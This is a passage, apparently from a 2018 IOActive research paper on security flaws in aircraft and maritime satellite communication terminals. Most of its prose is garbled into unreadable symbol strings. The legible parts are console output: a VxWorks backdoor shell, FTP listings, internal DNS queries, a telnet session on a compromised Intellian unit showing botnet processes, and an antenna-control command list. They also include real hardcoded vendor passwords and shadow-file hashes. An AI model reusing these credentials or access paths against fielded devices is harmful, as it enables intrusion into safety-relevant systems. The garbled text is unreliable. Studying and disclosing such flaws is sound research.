&R!94/5&%/$*#=!/44!&R!$>9-Y!H9!5/8*)/44W!R&)(8!&#!/#!*-.&%$/#$!97/-.49!$&!*44(8$%/$9!>&H!*$!
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H&(4'!59!.&88*549!$&!.%919#$!$>9!B@N!R%&-!%9-&$94W!'*8/54*#=!&%!)&#$%&44*#=!$>9!$9%-*#/4+!
08!/!%98(4$Y!&#)9!/!-/4*)*&(8!R*%-H/%9!>/8!599#!*#8$/449'!*#!$>9!)&-.%&-*89'!?AaY!*$!*8!
.&88*549!$&!49$!$>9!$9%-*#/4!&.9%/$9!*#'9.9#'9#$4WY!*#8$9/'!&R!59*#=!(#'9%!B@Nb8!)&#$%&4+!

;W!)&#8(4$*#=!&#9!&R!$>9!$>%99!<9W!'&)(-9#$8IQ!H9!)/#!R*#'!$>9!R&44&H*#=!)&--/#'Y!$>/$!
*8!89#$!1*/!/#!"N0D!./)<9$!L"#%&($9!N&--/#'c0)<#&H49'=9-9#$!D/)<9$M_!

!

!

"R!$>9!B@N!'9$9)$8!/#W!8*$(/$*&#!$>/$!%9`(*%98!$>9!/*%5&%#9!$9%-*#/4!$&!59!'*8/549'Y!$>*8!
)&--/#'!H*44!59!%9)9*19'+!X9$b8!/#/4W[9!*#!$>9!R*%-H/%9!>&H!*$!*8!>/#'49'_!

"#!nParseICAPb!R(#)$*&#!H9!)/#!899!$>9!'*RR9%9#$!8(5)&--/#'8!$>/$!/%9!8(..&%$9'Y!5($!
/48&Y!H9!)/#!899!&$>9%8!$>/$!/%9!#&$!.(54*)4W!'&)(-9#$9'+!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

IQ!>$$.8_ccHHH+=&&=49+)&-c./$9#$8caKCQ2:S2F!
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!

G&%!97/-.49Y!H>9#!%9)9*1*#=!/#!"N0D!H>9%9!$>9!)&--/#'!5W$9!*8!q:>q!L/)$(/44W!S7N:>!*#!
$>9!"N0D!R%/-9MY!H>*)>!)&%%98.&#'8!$&!q6#/549cA*8/549!$%/#8-*$q!&.9%/$*&#Y!$>9!R&44&H*#=!
)&'9!*8!979)($9'_!

!

0$!0x81611515 H9!>/19!$>9!R4/=!$>/$!&$>9%!R(#)$*&#8!)>9)<!$&!<#&H!H>9$>9%!$>9!?Aa!*8!
/44&H9'!$&!$%/#8-*$!&%!#&$+!a8*#=!$>9!8/-9!/..%&/)>Y!H9!)/#!$%/)<!/#'!./$)>!/#W!&$>9%!
R(#)$*&#!$>/$!>/#'498!$>&89!-988/=98!89#$!5W!$>9!B@N!$&!*#8$%()$!&(%!$9%-*#/4!&#!(8*#=!/!
8.9)*R*)!/-&(#$!&R!.&H9%!R&%!$>9!$%/#8-*88*&#Y!"#%&($9!3%&(.8Y!G%9`(9#)*98Y!J*-*#=Y!
;/#'H*'$>!%98$%*)$*&#8Y!5*$%/$9Y!-&'(4/$*&#!/#'!)&'*#=!8)>9-98Y!0X@T0!84&$8Y!9$)+!08!/!
%98(4$Y!*$!*8!.&88*549!$>/$!/!)&-.%&-*89'!K0JN@?!$9%-*#/4!&.9%/$98!*#'9.9#'9#$4WY!
H*$>&($!)&-.4W*#=!H*$>!$>9!B@N!*#8$%()$*&#8+!048&Y!H9!)/#!9#/549!$>9!*#%&($9!H*$>&($!/!
1/4*'!&($%&($9+!J>(8Y!$>9!-&'9-!-/W!59!$%/#8-*$$*#=!H>9#!*$!*8!#&$!/($>&%*[9'!$&!'&!8&!
H>*)>!5/8*)/44W!5%9/<8!8919%/4!R(#'/-9#$/4!%9=(4/$&%W!%(498!R&%!6/%$>!K$/$*&#8!05&/%'!
0*%)%/R$!L6K00M!8()>!/8!r!IU+IIOL/MLFM!/#'!r!IU+IIOL/ML,SMIF+!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

IF!>$$._cc4*)9#8*#=+R))+=&1c-W*5R8c'&H#4&/'+'&g/$$/)>-9#$i<9Wh,SF,:C,!
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0-&#=!&$>9%!/$$/)<8Y!$>*8!)/#!59!4919%/=9'!5W!/$$/)<9%8!$&!4/(#)>!'9#*/4!&R!89%1*)9!
/$$/)<8!/=/*#8$!8/$944*$98Y!5&$>!R%&-!/!4&=*)/4!/#'!.>W8*)/4!.9%8.9)$*19+!!

"#!)/89!$>*8!8*$(/$*&#!*8!'9$9)$9'Y!/*%4*#98!/#'!8/$944*$9!89%1*)9!.%&1*'9%8!)/#!(89!/!
89)&#'/%W!)&--(#*)/$*&#!)>/##94Y!8()>!/8!0N0ZKY!*#!&%'9%!$&!*#8$%()$!$>9!)%9H!$&!
'*8/549!$>9!(#*$!-/#(/44W+!!

Network Services 
Web 
P*$>&($!/#W!/($>9#$*)/$*&#!*$!*8!.&88*549!$&!-&#*$&%!$>9!8$/$(8!&R!$>9!(#*$Y!#9$H&%<!
)&##9)$*&#8Y!8$/$*8$*)8Y!/%.!9#$%*98Y!H958!59*#=!/))9889'!5W!./889#=9%8Y!9$)+!048&Y!*$!*8!
.&88*549!$&!.9%R&%-!-&%9!/==%988*19!/)$*&#8!8()>!/8!%95&&$*#=!$>9!$9%-*#/4+!

!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

!
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!

Telnet 
a8*#=!5/)<'&&%8Y!H9!)/#!=9$!/))988!$&!$>9!V7P&%<8!K>944!)&#8&49+!"#!$9%-8!&R!*-./)$Y!
$>*8!<*#'!&R!/))988!=%/#$8!$>9!/$$/)<9%!$>9!/5*4*$W!$&!979)($9!/%5*$%/%W!)&'9+!J>*8!19)$&%!
)/#!/48&!59!4919%/=9'!$&!/)>*919!.9%8*8$9#)9+!

-> help 
help                           Print this list 
ioHelp                         Print I/O utilities help info 
dbgHelp                        Print debugger help info 
nfsHelp                        Print nfs help info 
netHelp                        Print network help info 
spyHelp                        Print task histogrammer help info 
timexHelp                      Print execution timer help info 
h         [n]                  Print (or set) shell history 
i         [task]               Summary of tasks' TCBs 
ti        task                 Complete info on TCB for task 
sp        adr,args...          Spawn a task, pri=100, opt=0, stk=20000 
taskSpawn name,pri,opt,stk,adr,args... Spawn a task 
td        task                 Delete a task 
ts        task                 Suspend a task 
tr        task                 Resume a task 
d         [adr[,nunits[,width]]] Display memory 
m         adr[,width]          Modify memory 
mRegs     [reg[,task]]         Modify a task's registers interactively 
pc        [task]               Return task's program counter 
Type <CR> to continue, Q<CR> to stop:  
iam       "user"[,"passwd"]   Set user name and passwd 
whoami                         Print user name 
devs                           List devices 
ld        [syms[,noAbort][,"name"]] Load stdin, or file, into memory 
                               (syms = add symbols to table: 
                               -1 = none, 0 = globals, 1 = all) 
lkup      ["substr"]         List symbols in system symbol table 
lkAddr    address              List symbol table entries near address 



 

©2018 IOActive, Inc. [39] 

checkStack  [task]             List task stack sizes and usage 
printErrno  value              Print the name of a status value 
period    secs,adr,args... Spawn task to call function periodically 
repeat    n,adr,args...    Spawn task to call function n times 
(0=forever) 
version                        Print VxWorks version info, and boot line 

FTP 
a8*#=!5/)<'&&%8Y!*$!*8!.&88*549!$&!/))988!$&!$>9!R*498W8$9-+!"$!*8!H&%$>!-9#$*&#*#=!$>/$!GJD!
*8!&#9!&R!$>9!/))9.$9'!-9$>&'8!$&!(.'/$9!$>9!R*%-H/%9+!J>*8!19)$&%!)/#!/48&!59!4919%/=9'!
$&!/)>*919!.9%8*8$9#)9+!

250 Changed directory to "/cfg0/" 
ftp> ls 
227 Entering Passive Mode (128,65,86,65,4,1) 
150 Opening ASCII mode data connection 
  size          date       time       name 
--------       ------     ------    -------- 
 4532309    Jan-01-1980  00:00:14   fallback.bin       
  386543    Jan-01-1980  00:04:58   zipdb.gz           
    3025    Jun-17-2016  19:16:26   sbc.cfg            
      82    Jan-01-1980  00:05:38   bootline.txt       
    2048    Aug-24-2016  01:48:32   config            <DIR> 
    2048    Jul-10-2016  00:02:02   new               <DIR> 
    2048    Nov-25-2017  23:46:22   logs              <DIR> 
    2975    Nov-25-2017  20:35:40   reset.log          
       8    Nov-25-2017  20:48:04   time.log           
      18    Nov-25-2017  20:42:18   main.dat           
  524288    Nov-25-2017  20:34:30   leofs              
       0    Dec-04-2013  16:53:52   eeprom.dat         
    2005    Nov-25-2017  23:52:34   cimcfg.a           
    2048    Dec-04-2013  16:53:48   bin               <DIR> 
    2048    Nov-25-2017  20:38:08   snmpd             <DIR> 
     894    Jan-25-2016  15:43:54   txradio.dat        
      63    Jul-10-2016  00:02:02   rules.txt          

Install Console  
J>*8!89%1*)9!H/8!4*8$9#*#=!&#!.&%$!,FU2cJND!H*$>&($!/($>9#$*)/$*&#+!"$!/44&H8!/!(89%!$&!
)&#R*=(%9!/#'!)&#$%&4!$>9!-&'9-+!
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!

Info Server 
J>*8!*8!/#!*#$9%98$*#=!89%1*)9+!"$!*8!%(##*#=!&#!.&%$!I,SScJND!=9#9%/$*#=!'/$/!$>/$!*8!
)&#8(-9'!5W!,S+O+S+,S+!

!

;W!%919%89!9#=*#99%*#=!$>*8!89%1*)9Y!*$!H/8!.&88*549!$&!'*8)&19%!$>9!R(#)$*&#/4*$W!'98)%*59'!
*#!$>9!%9`(98$2S!Z&H::!R*449'!$&!=9$!$>9!/($>&%*[/$*&#!R&%!$>9*%!8W8$9-8+!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

2S!>$$.8_cc/..8+R))+=&1c9'&)8i.(54*)c/$$/)>-/$)>cA0ESFE,OUI0,+.'R!
!
!
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!

J>9!R&44&H*#=!R(#)$*&#!*#*$*/4*[98!$>9!./%/-9$9%8!

!
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J>9#Y!/$!nInfoSrvConHandlerb!H9!)/#!899!>&H!$>*8!89%1*)9!&5$/*#8!R%&-!$>9!'9-&'(4/$&%!
$>9!n68cB&b!A/$/!$>/$!*8!89#$!$&!$>9!)4*9#$8!$>/$!/%9!)&##9)$9'+!

!

!
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0))&%'*#=!$&!$>9!'98)%*.$*&#Y!H9!8>&(4'!/88(-9!$>/$!$>9!"D!$>/$!*8!)&##9)$9'!$&!$>*8!
"#R&K9%19%!L,S+O+S+,SM!8>&(4'!594&#=!$&!$>9!0#$9##/!N&#$%&4!a#*$!L0NaM+!P9!)&(4'!19%*RW!
$>*8!*8!/)$(/44W!$>9!)/89!5W!*88(*#=!/!`(9%W!$&!$>9!K?ab8!*#$9%#/4!ABK!R%&-!$>9!*#ER4*=>$!
P*G*!'(%*#=!/!'*RR9%9#$!R4*=>$+!

dig @128.65.65.98 -x 10.7.0.10 ANY 
; <<>> DiG 9.8.3-P1 <<>> @128.65.65.98 -x 10.7.0.10 ANY 
; (1 server found) 
;; global options: +cmd 
;; Got answer: 
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62894 
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1 
;; QUESTION SECTION: 
;10.0.7.10.in-addr.arpa.  IN ANY 
;; ANSWER SECTION: 
10.0.7.10.in-addr.arpa. 86400 IN PTR acu.aircraft.local. 
;; AUTHORITY SECTION: 
0.7.10.in-addr.arpa. 86400 IN NS localhost. 
;; ADDITIONAL SECTION: 
localhost.  86400 IN A 127.0.0.1 
;; Query time: 1 msec 
;; SERVER: 128.65.65.98#53(128.65.65.98) 
;; WHEN: Sat May 12 18:29:58 2018 
;; MSG SIZE  rcvd: 111 

J>9!8/-9!/..%&/)>!H/8!(89'!$&!&5$/*#!$>9!*#$9%#/4!"DY!*#!$>/$!89=-9#$Y!R&%!$>9!K?a!
L,S+O+S+,M!/#'!$>9!T*=>!D&H9%!J%/#8)9*19%!L,S+O+S+ISM+!

1.0.7.10.in-addr.arpa. 86400 IN PTR smu.aircraft.local. 
20.0.7.10.in-addr.arpa. 86400 IN PTR hpt.aircraft.local. 

G%&-!$>9!V7P&%<8!K>944!/$!$>9!?Aa!*$!H/8!.&88*549!$&!.*#=!$>989!'91*)98+!

Host Command Server 
J>*8!89%1*)9!*8!4*8$9#*#=!&#!.&%$!I2SScJND+!"$!%94*98!&#!$>9!R(#)$*&#!n>&8$N-'b!$>/$!
8(..&%$8!-(4$*.49!)&--/#'8!$>/$!)/#!59!(89'!R&%!'*RR9%9#$!.(%.&898_!)>/#=9!89$$*#=8Y!
/'j(8$!%/'*&!./%/-9$9%8Y!8$/$*8$*)8Y!)%W.$&=%/.>*)!<9W8Y!-/*#$9#/#)9!&.9%/$*&#8Y!
)&#R*=(%/$*&#!$98$*#=Y!9$)+!"$!*8!97$9#8*194W!(89'!5W!&$>9%!R*%-H/%9!R(#)$*&#8+!

!



 

©2018 IOActive, Inc. [44] 

P9!)/#!899!$>/$!$>9!K?a!L,FI+,CQ+S+IM!*8!)&##9)$9'!$&!$>*8!89%1*)9!L/8!H944!/8!$&!$>9!
H95!a"M+!

!

!  
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Maritime 
J>9!%989/%)>!$>/$!H/8!.%989#$9'!*#!IS,:!)&19%9'!-(4$*.49!1(4#9%/5*4*$*98!$>/$!H9%9!
%9-&$94W!97.4&*$/549!*#!-/%*$*-9!K0JN@?!9`(*.-9#$!R%&-!'*RR9%9#$!19#'&%8Y!8()>!/8!
N&5>/-!&%!kZN+!"#!8(589`(9#$!W9/%8Y!H9!>/19!899#!/!=%&H*#=!*#$9%98$!*#!919%W$>*#=!
%94/$9'!$&!$>9!-/%*$*-9!)W59%89)(%*$W+!J>9!8*$(/$*&#!*#!$>*8!89)$&%!)/#!59!/#/4W[9'!(8*#=!
.%9$$W!-()>!$>9!8/-9!-9$%*)8!H9!(89!R&%!&$>9%!$%/#8.&%$/$*&#!*#'(8$%*98Y!8()>!/8!/1*/$*&#!
&%!/($&-&$*19+!!

"#!$>*8!89)$*&#!H9!/%9!.%989#$*#=!$H&!R(#'/-9#$/4!8)9#/%*&8_!

•! J>9%9!/%9!1(4#9%/5*4*$*98!$>/$!/44&H!$&!'*%9)$4W!)&#$%&4!/#!6/%$>!K$/$*&#!&#!V988948!
L6KVMY!*#)4('*#=!$>9!/#$9##/+!

•! ?/4H/%9!*8!/#!&#=&*#=!.%&549-!R&%!$>989!8W8$9-8+!

The Intellian Case 

!

"#$944*/#!.&%$R&4*&!*#)4('98!-(4$*.49!K/$944*$9!/#$9##/8!R&%!'*RR9%9#$!89%1*)98!8()>!/8!34&5/4!
\.%988Y!G499$;%&/'5/#'!&%!VK0J+!J>9W!/48&!-/#(R/)$(%9!$>9!)&%%98.&#'*#=!0Na8!$>/$!
>/19!599#!91&41*#=!&19%!$*-9Y!%9/)>*#=!/!.&*#$!H>9%9!$>9W!*#)4('9!-(4$*.49!H*%94988!
$9)>#&4&=*98!8()>!/8!P*G*!&%!;4(9$&&$>+!!

J>*8!*8!$>9!$%9#'!H9!899!#&H/'/W8!*#!'91*)98!$>/$!H9%9!>*8$&%*)/44W!*8&4/$9'!&%!8(..&%$*#=!
H*%9'!)&##9)$*&#8!&#4W+!J>989!'91*)98!/%9!59*#=!'98*=#9'!H*$>!/''*$*&#/4!)&--(#*)/$*&#!
$9)>#&4&=*98!$>/$!>/19!599#!H*'94W!.%989#$!R&%!W9/%8!*#!'&-98$*)!'91*)98!5($!8)/%)94W!*#!
$>9!*#'(8$%*/4!89)$&%+!"#$944*/#!/48&!.%&1*'98!DN!/#'!-&5*49!/..8Y!0.$(8Y2,!$>/$!/44&H!
)&#$%&44*#=!$>989!'91*)98+!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!

2,!>$$._ccHHH+*#$944*/#$9)>+)&-cB9H8c.%&'()$(.'/$98c1*9Hc,:!
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!

J>*8!*8!$>9!)&--&#!/%)>*$9)$(%9!R&%!$>9!8&4($*&#+!!08!(8(/4Y!$>9!R*%8$!8$9.!*8!$&!$%W!&(%!4()<!
/#'!R*#'!/!R*%-H/%9!.(54*)4W!/1/*4/549+!"#$944*/#b8!-/*#!H958*$9!%9`(*%98!4&=*#!$&!'&H#4&/'!
R*%-H/%9!(.'/$98!5($!/!8*-.49!=&&=49!89/%)>!%919/49'!$>/$!$>9*%!0-/[&#!K2!5()<9$8!/%9!
H*'9!&.9#+!"#!R/)$Y!8&-9&#9!49R$!/!-988/=9!H/%#*#=!/5&($!$>*8!.%&549-_!

!

@(%!$/%=9$!H/8!n*0Z?iG*%-H/%9ia.'/$9EV,+,S0+$=[b!R*49b!H>*)>!)&#$/*#8!/#!9-59''9'!
%/-'*8<!H*$>!$>9!R*498W8$9-+!

J>9%9!/%9!8919%/4!>/%')&'9'Y!*#!)9%$/*#!)/898!/48&!(#'&)(-9#$9'Y!)%9'9#$*/48!$>/$!)/#!
59!(89'!$&!=/*#!/))988!$&!$>9!/RR9)$9'!'91*)9!

J>989!)%9'9#$*/48!>/19!599#!R&(#'!*#!$>9!R&44&H*#=!R*498!

G*49_!qc9$)c5*-i(89%+)R=q!

# user for web 
# 
# 
#                         username     password       usergroup   last 
password change 
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sys_user            =   ["intellian" , "12345678",    0,          0]    
# normal user 
sys_user            =   ["masteruser", "intellian",   1,          0]    
# master user 
sys_user            =   ["guest",      "guest",       2,          0]    
# guest user 

G*49_!qc9$)c8>/'&Hq!

root:$1$aB6lKKRK$VqBO1V4.mK/2z9VWDYscO1:13514:0:99999:7::: 
bin:*:10933:0:99999:7::: 
daemon:*:10933:0:99999:7::: 
adm:*:10933:0:99999:7::: 
lp:*:10933:0:99999:7::: 
sync:*:10933:0:99999:7::: 
shutdown:*:10933:0:99999:7::: 
halt:*:10933:0:99999:7::: 
uucp:*:10933:0:99999:7::: 
operator:*:10933:0:99999:7::: 
nobody:*:10933:0:99999:7::: 
default::10933:0:99999:7::: 
sysbas:$1$G3bCE4tt$Qj63oR1J2TjYHTrIHQacJ0:13514:0:99999:7::: 
intellian_admin:$1$q8wWDSXA$e8u3spdqjtju5KRADToQo0:13514:0:99999:7::: 

G*49_!qc9$)c./88H'q!

root:$1$1NMnvCi3$V4Im8YxDE0qlYFQbq1kkX.:0:0:root:/tmp:/bin/sh 
ftp:$1$8/cQQBxs$TnowI83eVlDuLPxCwatC31:1001:1001:Linux 
User,,,:/home/ftp:/bin/sh 
daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
bin:x:2:2:bin:/bin:/bin/sh 
sys:x:3:3:sys:/dev:/bin/sh 
sync:x:4:100:sync:/bin:/bin/sync 
mail:x:8:8:mail:/var/spool/mail:/bin/sh 
proxy:x:13:13:proxy:/bin:/bin/sh 
www-data:x:33:33:www-data:/var/www:/bin/sh 
backup:x:34:34:backup:/var/backups:/bin/sh 
operator:x:37:37:Operator:/var:/bin/sh 
haldaemon:x:68:68:hald:/:/bin/sh 
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh 
nobody:x:99:99:nobody:/home:/bin/sh 
sshd:x:103:99:Operator:/var:/bin/sh 
default:x:1000:1000:Default non-root user:/home/default:/bin/sh 
sysbas:x:0:0:Linux User,,,:/tmp:/bin/sh 
intellian_admin:x:0:0:Linux User,,,:/tmp:/bin/sh 

!G*49_!qc9$)c8#-.+)R=q!

snmpv2              = "readwrite" 
snmpv2_community    = "intellian" 
snmp_param          = [ "sysLocation" , "intellian" ] 
snmp_param          = [ "sysContact" , "intellian" ] 
trap_dest           = "192.168.1.1" 
trap_port           = "162" 
trap_param          = "-v 2c -c public" 
AUTHENTICATION      = "auth" 
AUTH_USER           = "intellian" 
AUTH_ENC            = "md5" 
AUTH_PASS           = "12345678" 
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PRIV_ENC            = "" 
PRIV_PASS           = "" 
context_name        = "" 
engine_id           = "" 
reboot_count        = 0 

Vulnerable CGIs 
J>9!N3"8!$>/$!)&-.%*89!$>9!H95!a"!)&#$/*#!-(4$*.49!1(4#9%/5*4*$*98Y!-/*#4W!(#8/#*$*[9'!
)/448!$&!q8W8$9-q!H>9%9!./%/-9$9%8!)/#!59!)&#$%&449'!5W!$>9!/$$/)<9%+!"$!*8!.&88*549!$&!(89!
$>989!N3"8!$&!979)($9!/%5*$%/%W!)&--/#'8!H*$>&($!59*#=!.%91*&(84W!/($>9#$*)/$9'+!

File: /usr/local/www/cgi-bin/setagent.cgi!

!

!

J>9!89)(%*$W!.&8$(%9!&R!$>9!0Na!R*%-H/%9!*8!)9%$/*#4W!.&&%+!J>9!.(%.&89!&R!$>*8!%989/%)>!
*8!#&$!9#(-9%/$*#=!1(4#9%/5*4*$*98Y!5($!*$!*8!$%*1*/4!$&!%9-&$94W!=/*#!%&&$!/))988!$&!$>9!0Na!
#&$!&#4W!1*/!$>9!H95!a"Y!GJDY!KKTY!/#'!J94#9$!5($!/48&!5W!/5(8*#=!&$>9%!89%1*)98+!
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!

Malware Onboard 
;W!/#/4W[*#=!&#9!&R!$>9!%/#'&-!1988948!9`(*..9'!H*$>!.%&'()$8!$>/$!)/#!59!R&(#'!
97.&89'!$&!$>9!"#$9%#9$Y!H9!'*8)&19%9'!$>9!0Na!H/8!*#R9)$9'!5W!$>9!?*%/*!5&$#9$+!"#!$>*8!
./.9%!H9!.%91*&(84W!'98)%*59'!>&H!>&8$8!*#R9)$9'!5W!$>9!3/=RW$!5&$#9$!H9%9!$%W*#=!$&!=9$!
/))988!$&!/#!/*%5&%#9!-&'9-Y!R&%$(#/$94W!H*$>&($!8())988+!"#!$>*8!)/89!$>9!0Na!H/8!
/4%9/'W!*#R9)$9'+!

 Connected to XXXX-MASKED.nat.globalconnex.net. 
 Escape character is '^]'. 
  
 XXXX login: intellian_admin 
 Password: 
 # uname -a 
 Linux BIM 2.6.39+ #448 PREEMPT Thu Nov 3 09:53:39 KST 2016 armv5tejl 
GNU/Linux 
 # w 
 -sh: w: not found 
 # ps aux 
 PID   USER     TIME   COMMAND 
     1 root       0:04 init 
     2 root       0:01 [kthreadd] 
     3 root       0:00 [ksoftirqd/0] 
 …. 
   596 root       2:28 [flush-ubifs_0_2] 
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   630 root      12:01 /usr/sbin/telnetd 
   634 root       0:00 /usr/sbin/vsftpd 
   643 root      59:17 /usr/local/sbin/dropbear -K 10 
   645 root       4:37 /sbin/pinetd 
   651 root       0:53 /usr/sbin/crond -l 8 
   652 root       0:00 /sbin/getty -L console 115200 vt100 
   711 root       0:00 /sbin/udhcpd -S /etc/udhcpd_running.conf 
   732 root      34:34 event_logger 
   733 root       1:11 trap_sender 
   747 root     169:32 /bin/acu_server 
   813 root      87:27 snmpd -f -c /etc/snmpd.conf 
   844 root      20:19 /bin/wifi_manager 
   845 root      65:46 /bin/sg_daemon 
   846 root     213:36 /bin/modem_mon 
   847 root       2:52 /bin/imon 
   852 root       0:53 /usr/sbin/crond -l 8 
   854 root       0:00 stunnel /etc/stunnel.conf 
   862 root      14:30 /bin/lighttpd -D -m /lib -f /etc/lighttpd.conf 
  6106 root       0:08 /usr/local/sbin/dropbear -K 10 
  6722 root       0:04 [kworker/0:0] 
  6852 ftp        0:06 {wul0a7f2w0db200} gubsprpsodbs 
  6854 ftp        0:48 {wul0a7f2w0db200} gubsprpsodbs 
 11060 root       0:00 [kworker/0:1] 
 11246 root       0:06 /usr/local/sbin/dropbear -K 10 
 11837 root       8:14 /bin/cgi_uif_storage_updater 
 12285 root       0:11 /usr/local/sbin/dropbear -K 10 
 13247 root       0:07 /usr/local/sbin/dropbear -K 10 
 13342 root       0:07 /usr/local/sbin/dropbear -K 10 
 13343 root       0:06 /usr/local/sbin/dropbear -K 10 

@#9!&R!$>9!-&8$!*#$9%98$*#=!./%$8!&R!$>*8!R*%-H/%9!*8!$>9!5*#/%W!n/)(i89%19%bY!H>*)>!
*-.49-9#$8!8919%/4!.%&$&)&48!$&!*#$9%R/)9!H*$>!'*RR9%9#$!K0JN@?!-&'9-8+!!!

Controlling the Antenna 
@#)9!$>9!0Na!>/'!599#!)&-.%&-*89'Y!H9!H9%9!*#$9%98$9'!*#!>/1*#=!R(44!)&#$%&4!&19%!$>9!
/#$9##/+!"#$944*/#!>/8!'9194&.9'!/!.%&$&)&4!R&%!$>*8!.(%.&89!/../%9#$4W!<#&H#!/8!na"Gb+!
P9!)/#!%919%89!9#=*#99%!*$!R%&-!'*RR9%9#$!8&(%)98_!

•! G*%-H/%9!L/)(i89%19%Y1$W8>Y!/)(i$&&4Y!(*Ri$&&4sM!

•! 0DJaK!/..8!

J>*8!*8!/!8*-.49!$97$E5/89'!.%&$&)&4!$>/$!R&44&H8!$>*8!./$$9%#_!

 {COMMAND PARAMETERS}CHECKSUM 

J>989!/%9!$>9!8(..&%$9'!)&--/#'8_!

public enum UIF { 
    UIF_OP_RESTART("OR"), 
    UIF_OP_SETUP("OS"), 
    UIF_SELECT_TR_SAT("LT"), 
    UIF_SET_TR_SAT("ST"), 
    UIF_REQUEST_SIGNAL_LEVEL("QV"), 
    UIF_REQUEST_ANT_STATUS("QS"), 
    UIF_REQUEST_ANT_INFO("QI"), 
    UIF_REQUEST_ANT_INFO_ALL("QA"), 
    UIF_REQUEST_ANT_POS("QP"), 
    UIF_REQUEST_DIAGNOSIS("QD"), 
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    UIF_REQUEST_PATTERN("QT"), 
    UIF_REQUEST_VOLTAGE("QG"), 
    UIF_SET_DEFAULT("SD"), 
    UIF_SET_DEFAULT_WITHOUT_OFFSET("Sd"), 
    UIF_SET_GPS("SG"), 
    UIF_SET_SKEW_ANGLE("SK"), 
    UIF_SET_SKEW_OFFSET("KO"), 
    UIF_SET_LOCAL_FREQUENCY("SL"), 
    UIF_SET_PAIR_SAT("SP"), 
    UIF_EDIT_SAT_INFO("EI"), 
    UIF_EDIT_SAT_INFO_SPARE("Eu"), 
    UIF_EDIT_TR_INFO("ET"), 
    UIF_EDIT_TR_INFO_SPARE("EU"), 
    UIF_SET_ANT_PARAMETER("SA"), 
    UIF_SET_CONTROL_PARAMETER("SC"), 
    UIF_SET_ANTENNA_PARAMETER("Sa"), 
    UIF_SET_ANT_FLAG("FG"), 
    UIF_SET_POWER("SW"), 
    UIF_SET_DISEQC("SQ"), 
    UIF_CALIBRATION_SKEW("CK"), 
    UIF_GOTO_POSITION("GO"), 
    UIF_MOVE_STEP("MO"), 
    UIF_MOVE_SKEW("MS"), 
    UIF_FIND_SYMBOL("FS"), 
    UIF_FIND_OFFSET("FO"), 
    UIF_FIND_NOISE_LEVEL("FN"), 
    UIF_COMMAND_ACK("AC"), 
    UIF_SEND_NUM_SAT("NN"), 
    UIF_SEND_SELECT_TR_SAT("NS"), 
    UIF_SEND_SIGNAL_LEVEL("NV"), 
    UIF_SEND_AGC_LOCK("Nv"), 
    UIF_SEND_ANT_STATUS("NA"), 
    UIF_SEND_ANT_INFORMATION("Ni"), 
    UIF_SEND_SW_VERSION("NW"), 
    UIF_SEND_PRODUCT_NAME("Nn"), 
    UIF_SEND_GPS("NG"), 
    UIF_SEND_LOCAL_FREQUENCY("NL"), 
    UIF_SEND_PAIR_SAT("NP"), 
    UIF_SEND_SAT_INFO("NI"), 
    UIF_SEND_SAT_INFO_SPARE("Nu"), 
    UIF_SEND_TR_INFO("NT"), 
    UIF_SEND_TR_INFO_SPARE("NU"), 
    UIF_SEND_ANT_PARAMETER("NR"), 
    UIF_SEND_CONTROL_PARAMETER("NC"), 
    UIF_SEND_ANTENNA_PARAMETER("Np"), 
    UIF_SEND_ANT_FLAG("NF"), 
    UIF_SEND_DIAGNOSIS("ND"), 
    UIF_SEND_POWER("Nw"), 
    UIF_SEND_VOLTAGE("VL"), 
    UIF_SEND_DISEQC("NQ"), 
    UIF_SEND_NID("ID"), 
    UIF_SEND_PATTERN("PT"), 
    UIF_SEND_ANT_POS("AP"), 
    UIF_SEND_CUR_SKEW_ANGLE("TK"), 
    UIF_SEND_SKEW_ANGLES("NK"), 
    UIF_SEND_AXIS_RANGE("AX"), 
    UIF_SEND_SYMBOL("SS"), 
    UIF_SEND_OFFSET("SO"), 
    UIF_SEND_NOISE_LEVEL("SN"), 
    UIF_SEND_ETC("TC"), 
    UIF_SEND_MESSAGE("ME"), 
    UIF_SET_TRIPLE_SAT("TR"), 
    UIF_GOTO_BOOTLOADER("GB"), 
    UIF_SET_SERIAL_NO("TS"), 
    UIF_SEND_SERIAL_NO("EN"), 
    UIF_SET_EL_OFFSET("TL"), 
    UIF_SEND_EL_OFFSET("DL"), 
    UIF_SET_SKEW_OFFSET_TABLE("KT"), 
    UIF_SET_PRODUCT_NAME("Sn"), 
    UIF_SET_MIM("SM"), 
    UIF_SET_HEADING("SH"), 
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    UIF_STAB_JOB_COMMAND("BJ"), 
    UIF_STAB_SET_STATUS("BS"), 
    UIF_STAB_SET_PARAMETER("BP"), 
    UIF_STAB_SET_TARGET_OFFSET("BT"), 
    UIF_PCU_JOB_COMMAND("CJ"), 
    UIF_PCU_SET_PARAMETER("CP"), 
    UIF_GYRO_REQUEST("GR"), 
    UIF_GYRO_SEND("GN"), 
    UIF_GYRO_SET("GS"), 
    UIF_SET_BAND_SW("LP"), 
    UIF_SEND_BAND_SW("lp"), 
    UIF_SET_BAND_SW_OFFSET("BO"), 
    UIF_SEND_BAND_SW_OFFSET("bo"), 
    UIF_DISEQC_12("Di"), 
    UIF_MODEM_REQUEST("MR"), 
    UIF_MODEM_PROTOCOL("MP"), 
    UIF_SEND_MODEM_TX_ENABLE("TX"), 
    UIF_BLOCK_ZONE("BK"), 
    UIF_GPS_EX("Vg"), 
    UIF_MULTIPLE_LOCAL_FREQUENCY("Vl"), 
    UIF_TRACKING_PARAMETER("Vt"), 
    UIF_NBD_INFO("Vn"), 
    UIF_SYSTEM_TYPE("Vs"), 
    UIF_SAT_DVB_INFO("Vd"), 
    UIF_BACKUP_RESTORE("BR"), 
    UIF_LOAD_LIBRARY("LL"), 
    UIF_PC_CONNECT_MONITOR("PM"), 
    UIF_DIAGNOSIS_RESULT("DD"), 
    UIF_ACU_SETTINGS("AS"), 
    UIF_POL_CHANGE("PC"), 
